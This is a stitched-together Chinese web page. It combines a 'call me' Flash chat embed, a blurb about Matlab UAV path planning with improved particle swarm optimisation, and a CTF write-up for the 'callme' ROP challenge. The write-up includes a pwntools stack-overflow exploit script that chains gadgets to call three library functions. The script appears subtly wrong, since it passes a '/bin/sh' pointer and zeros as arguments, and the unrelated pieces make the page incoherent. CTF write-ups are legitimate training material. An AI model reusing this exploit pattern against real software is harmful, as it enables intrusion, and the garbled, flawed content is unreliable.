call me

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点击上面空白处 就可以和我聊天了:[flash=200,200]http://www.flextheworld.com/callme/Index.swf[/flash]
【无人机】基于改进粒子群算法的无人机路径规划研究[和遗传算法、粒子群算法进行比较](Matlab代码实现)内容概要:本文围绕基于改进粒子群算法的无人机路径规划展开研究,重点探讨了在复杂环境中利用改进粒子群算法(PSO)实现无人机三维路径规划的方法,并将其与遗传算法(GA)、标准粒子群算法等传统优化算法进行对比分析。研究内容涵盖路径规划的多目标优化、避障策略、航路点约束以及算法收敛性和寻优能力的评估,所有实验均通过Matlab代码实现,提供了完整的仿真验证流程。文章还提到了多种智能优化算法在无人机路径规划中的应用比较,突出了改进PSO在收敛速度和全局寻优方面的优势。; 适合人群:具备一定Matlab编程基础和优化算法知识的研究生、科研人员及从事无人机路径规划、智能优化算法研究的相关技术人员。; 使用场景及目标:①用于无人机在复杂地形或动态环境下的三维路径规划仿真研究;②比较不同智能优化算法(如PSO、GA、蚁群算法、RRT等)在路径规划中的性能差异;③为多目标优化问题提供算法选型和改进思路。; 阅读建议:建议读者结合文中提供的Matlab代码进行实践操作,重点关注算法的参数设置、适应度函数设计及路径约束处理方式,同时可参考文中提到的多种算法对比思路,拓展到其他智能优化算法的研究与改进中。
### PWN Callme 挑战解题思路 #### 背景介绍 在CTF竞赛中,`callme`系列挑战通常涉及栈溢出漏洞利用以及返回导向编程(ROP)。这类题目旨在测试参赛者对于二进制漏洞挖掘和利用的理解程度。 #### 题目分析 给定`.so`库文件内含有三个特定函数:`callme_one`, `callme_two` 和 `callme_three`。这些函数负责执行一系列操作来处理加密后的标志位(flag),并最终显示出来[^2]。为了成功触发这三个函数按正确顺序调用,需要精心构建输入数据以绕过程序的安全机制。 #### 利用方法概述 由于存在栈缓冲区溢出的可能性,可以构造恶意输入覆盖保存的返回地址,从而控制EIP寄存器指向攻击者指定的位置。在此基础上,采用ROP技术链式调用目标函数完成所需动作: 1. **准备环境** - 使用工具如`gdb-peda`调试应用程序。 - 查找可用的小工具(gadgets)用于设置参数传递至各个`callme_*`函数。 2. **编写Exploit脚本** 下面是一个简单的Python脚本来实现上述逻辑: ```python from pwn import * # 设置远程连接或本地运行模式 if args['REMOTE']: io = remote('challenge.ctf.games', PORT_NUMBER) else: elf = ELF('./binary') context.binary = elf io = process(elf.path) # 定义偏移量和其他必要变量 offset = 40 # 这里假设已知具体数值 pop_rdi_ret = 0x000000000040093b # pop rdi; ret; pop_rsi_pop_r15_ret = 0x0000000000400939 # pop rsi; pop r15; ret; # 构建payload payload = b'A' * offset payload += pack(pop_rdi_ret, 64) payload += pack(next(elf.search(b'/bin/sh\x00')), 64) payload += pack(pop_rsi_pop_r15_ret, 64) payload += pack(0, 64) # arg2 for callme functions payload += pack(0, 64) # padding to align stack payload += pack(elf.symbols['callme_one'], 64) payload += pack(elf.symbols['callme_two'], 64) payload += pack(elf.symbols['callme_three'], 64) io.sendlineafter('> ', payload) io.interactive() ``` 此代码片段展示了如何创建一个能够依次调用`callme_one -> callme_two -> callme_three` 的有效载荷(payload)。注意实际比赛中可能还需要调整某些细节才能使exploit正常工作。
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